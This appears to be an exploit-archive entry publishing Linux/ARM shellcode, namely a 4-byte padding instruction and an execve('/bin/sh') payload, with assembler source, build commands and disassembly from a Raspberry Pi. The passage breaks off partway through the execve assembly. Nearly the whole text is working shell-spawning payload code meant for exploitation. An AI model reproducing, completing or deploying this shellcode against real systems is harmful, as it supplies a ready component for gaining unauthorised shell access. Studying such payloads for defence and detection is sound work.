Linux/ARM Jump Back Shellcode + execve("/bin/sh", NULL, NULL) Shellcode

4 bytes small Linux/ARM jump back shellcode + execve("/bin/sh", NULL, NULL) shellcode.


MD5 | 45872f193eae1e28e15f9a455e099d4b

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/*
# Title:  Linux/ARM - Jump Back Shellcode + execve("/bin/sh", NULL, NULL) Shellcode (4 Bytes)
# Date:   2018-09-18
# Author: Ken Kitahara
# Tested: armv7l (Raspberry Pi 3 Model B+)
 
 
[System Information]
pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description:    Raspbian GNU/Linux 9.4 (stretch)
Release:    9.4
Codename:   stretch
pi@raspberrypi:~ $
 
 
[Shellcode]
(1) Use "eor  r7, r7, r7" Shellcode as Padding Shellcode (4 Bytes)
pi@raspberrypi:~ $ cat padding.s
.section .text
.global _start
 
_start:
    eor  r7, r7, r7
pi@raspberrypi:~ $ as -o padding.o padding.s && ld -N -o padding padding.o
pi@raspberrypi:~ $ objdump -d ./padding
 
./padding:     file format elf32-littlearm
 
 
Disassembly of section .text:
 
00010054 <_start>:
   10054:   e0277007    eor r7, r7, r7
pi@raspberrypi:~ $
 
 
(2) execve("/bin/sh", NULL, NULL) Shellcode (27 Bytes)
pi@raspberrypi:~ $ cat shell.s
.section .text
.global _start
 
    _start:
    .ARM
    add  r3, pc, #1
    bx   r3
 
    .THUMB
    // execve("/bin/sh", NULL, NULL)
    adr  r0, spawn
    eor  r1, r1, r1
    eor  r2, r2, r2
    strb r2, [r0,
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